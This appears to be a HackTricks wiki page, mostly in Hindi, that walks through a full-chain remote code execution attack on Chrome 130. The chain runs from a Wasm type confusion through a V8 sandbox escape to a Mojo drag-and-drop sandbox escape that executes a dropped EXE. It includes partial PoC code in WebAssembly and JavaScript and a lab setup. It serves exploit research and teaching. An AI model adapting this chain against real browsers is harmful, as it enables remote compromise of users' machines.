# Chrome Exploiting

{{#include ../banners/hacktricks-training.md}}

> यह पृष्ठ Google Chrome 130 के खिलाफ एक आधुनिक "पूर्ण-श्रृंखला" शोषण कार्यप्रवाह का उच्च-स्तरीय फिर भी **व्यावहारिक** अवलोकन प्रदान करता है, जो **“101 Chrome Exploitation”** (भाग-0 — प्रस्तावना) पर आधारित है।  
> लक्ष्य यह है कि पेंटेस्टर्स और शोषण-डेवलपर्स को अपनी स्वयं की अनुसंधान के लिए तकनीकों को पुन: उत्पन्न या अनुकूलित करने के लिए आवश्यक न्यूनतम पृष्ठभूमि प्रदान की जाए।

## 1. Chrome Architecture Recap
हमले की सतह को समझने के लिए यह जानना आवश्यक है कि कोड कहाँ निष्पादित होता है और कौन से सैंडबॉक्स लागू होते हैं।
```
+-------------------------------------------------------------------------+
|                             Chrome Browser                              |
|                                                                         |
|  +----------------------------+      +-----------------------------+    |
|  |      Renderer Process      |      |    Browser/main Process     |    |
|  |  [No direct OS access]     |      |  [OS access]                |    |
|  |  +----------------------+   |      |                             |    |
|  |  |    V8 Sandbox        |   |      |                             |    |
|  |  |  [JavaScript / Wasm] |   |      |                             |    |
|  |  +----------------------+   |      |                             |    |
|  +----------------------------+      +-----------------------------+    |
|               |           IPC/Mojo              |                       |
|               V                                    |                     |
|  +----------------------------+                   |                     |
|  |        GPU Process         |                   |                     |
|  |  [Restricted OS access]    |                   |                     |
|  +----------------------------+                   |                     |
+-------------------------------------------------------------------------+
```
Layered defence-in-depth:

* **V8 sandbox** (Isolate): मेमोरी अनुमतियाँ JITed JS / Wasm से मनमाने पढ़ने/लिखने को रोकने के लिए सीमित हैं।
* **Renderer ↔ Browser split** **Mojo/IPC** संदेश पासिंग के माध्यम से सुनिश्चित किया गया; renderer के पास *कोई* मूल FS/नेटवर्क पहुंच नहीं है।
* **OS sandboxes** प्रत्येक प्रक्रिया को और सीमित करते हैं (Windows Integrity Levels / `seccomp-bpf` / macOS sandbox profiles)।

एक *remote* हमलावर को इसलिए **तीन** लगातार प्राइमिटिव की आवश्यकता होती है:

1. V8 के अंदर मेमोरी भ्रष्टाचार ताकि **V8 heap के अंदर मनमाना RW प्राप्त किया जा सके**।
2. एक दूसरा बग जो हमलावर को **V8 sandbox से पूर्ण renderer मेमोरी में भागने** की अनुमति देता है।
3. एक अंतिम sandbox-escape (अक्सर लॉजिक के बजाय मेमोरी भ्रष्टाचार) को कोड निष्पादित करने के लिए **Chrome OS sandbox के बाहर**।

---

## 2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291)

TurboFan के **Turboshaft** ऑप्टिमाइजेशन में एक दोष **WasmGC संदर्भ प्रकारों** को गलत वर्गीकृत करता है जब मान एक *एकल मूल ब्लॉक लूप* के अंदर उत्पन्न और उपभोग किया जाता है।

प्रभाव:
* कंपाइलर **प्रकार-चेक को छोड़ देता है**, एक *संदर्भ* (`externref/anyref`) को *int64* के रूप में मानते हुए।
* तैयार किया गया Wasm एक JS ऑब्जेक्ट हेडर को हमलावर-नियंत्रित डेटा के साथ ओवरलैप करने की अनुमति देता है → <code>addrOf()</code> & <code>fakeObj()</code> **AAW / AAR प्राइमिटिव**।

Minimal PoC (excerpt):
```WebAssembly
(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))
```
ट्रिगर ऑप्टिमाइजेशन और JS से स्प्रे ऑब्जेक्ट्स:
```js
const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);
```
Outcome: **मनमाने पढ़ने/लिखने की क्षमता V8 के भीतर**।

---

## 3. स्टेज 2 – V8 सैंडबॉक्स से बाहर निकलना (issue 379140430)

जब एक Wasm फ़ंक्शन को टियर-अप-कंपाइल किया जाता है, तो एक **JS ↔ Wasm wrapper** उत्पन्न होता है। एक सिग्नेचर-मिसमैच बग के कारण wrapper एक विश्वसनीय **`Tuple2`** ऑब्जेक्ट के अंत के पार लिखता है जब Wasm फ़ंक्शन को *स्टैक पर रहते हुए* फिर से ऑप्टिमाइज़ किया जाता है।

`Tuple2` ऑब्जेक्ट के 2 × 64-बिट फ़ील्ड को ओवरराइट करने से **Renderer प्रक्रिया के भीतर किसी भी पते पर पढ़ने/लिखने की क्षमता** मिलती है, जो V8 सैंडबॉक्स को प्रभावी ढंग से बायपास करती है।

शोषण के मुख्य चरण:
1. टर्बोफैन/बेसलाइन कोड को वैकल्पिक करके फ़ंक्शन को **टियर-अप** स्थिति में लाना।
2. स्टैक पर एक संदर्भ रखते हुए टियर-अप को ट्रिगर करना (`Function.prototype.apply`)।
3. निकटवर्ती `Tuple2` को खोजने और भ्रष्ट करने के लिए स्टेज-1 AAR/AAW का उपयोग करना।

Wrapper पहचान:
```js
function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);
```
After corruption we possess a fully-featured **renderer R/W primitive**.

---

## 4. Stage 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)

The **Mojo** IPC interface `blink.mojom.DragService.startDragging()` can be called from the Renderer with *partially trusted* parameters.  By crafting a `DragData` structure pointing to an **arbitrary file path** the renderer convinces the browser to perform a *native* drag-and-drop **outside the renderer sandbox**.

इसका दुरुपयोग करते हुए, हम प्रोग्रामेटिक रूप से एक दुर्भावनापूर्ण EXE (जो पहले एक विश्व-लिखने योग्य स्थान पर रखा गया था) को डेस्कटॉप पर “खींच” सकते हैं, जहाँ Windows स्वचालित रूप से कुछ फ़ाइल-प्रकारों को छोड़ने पर निष्पादित करता है।

Example (simplified):
```js
const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});
```
कोई अतिरिक्त मेमोरी भ्रष्टाचार आवश्यक नहीं है - **लॉजिक फ्लॉ** हमें उपयोगकर्ता के विशेषाधिकारों के साथ मनमाने फ़ाइल निष्पादन की अनुमति देता है।

---

## 5. पूर्ण श्रृंखला प्रवाह

1. **उपयोगकर्ता** दुर्भावनापूर्ण वेबपृष्ठ पर जाता है।
2. **चरण 1**: Wasm मॉड्यूल CVE-2025-0291 का दुरुपयोग करता है → V8 हीप AAR/AAW।
3. **चरण 2**: रैपर असंगति `Tuple2` को भ्रष्ट करती है → V8 सैंडबॉक्स से बाहर निकलें।
4. **चरण 3**: `startDragging()` IPC → OS सैंडबॉक्स से बाहर निकलें और पेलोड निष्पादित करें।

परिणाम: **रिमोट कोड निष्पादन (RCE)** होस्ट पर (Chrome 130, Windows/Linux/macOS)।

---

## 6. प्रयोगशाला और डिबगिंग सेटअप
```bash
# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
```
Chrome के *development* बिल्ड को लॉन्च करते समय उपयोगी फ्लैग:
```bash
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
```
---

## Takeaways

* **WebAssembly JIT बग** एक विश्वसनीय प्रवेश बिंदु बने रहते हैं - प्रकार प्रणाली अभी भी युवा है।
* V8 के अंदर एक दूसरा मेमोरी-क्षति बग प्राप्त करना (जैसे कि wrapper mismatch) **V8-sandbox escape** को बहुत सरल बनाता है।
* विशेष Mojo IPC इंटरफेस में लॉजिक-स्तरीय कमजोरियाँ अक्सर **अंतिम sandbox escape** के लिए पर्याप्त होती हैं - *non-memory* बग पर नज़र रखें।

## References
* [101 Chrome Exploitation — Part 0 (Preface)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/)
* [Chromium security architecture](https://chromium.org/developers/design-documents/security)
{{#include ../banners/hacktricks-training.md}}